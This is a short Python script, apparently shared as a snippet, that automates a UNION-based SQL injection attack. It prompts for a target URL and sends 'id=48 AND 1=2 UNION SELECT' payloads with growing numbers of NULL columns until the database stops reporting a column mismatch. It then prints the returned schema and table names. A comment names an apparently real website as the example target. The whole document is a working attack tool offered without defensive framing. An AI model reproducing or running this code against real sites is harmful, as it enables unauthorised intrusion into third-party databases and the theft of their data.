python union query

1# pip install requests
2import requests
3
4def main():
5    # http://www.meggieschneider.com/php/detail.php?id=48
6    url = input('Target: ')
7    idx = 0
8    while True:
9        nulls = ', '.join([f'Null as Col{x}' for x in range(idx)])
10        if idx > 0:
11            nulls = ', ' + nulls
12        req = f'id=48 AND 1=2 UNION SELECT table_schema, table_name {nulls} FROM information_schema.tables'
13        print(f'''\n
14            {req}
15            ''')
16        r = requests.get(f'{url}?{req}')
17        if 'The used SELECT statements have a different number of columns' not in str(r.content):
18            print(f'''\n
19            {r.text}
20            ''')
21            break
22        idx = idx + 1
23
24if __name__ == '__main__':
25    main()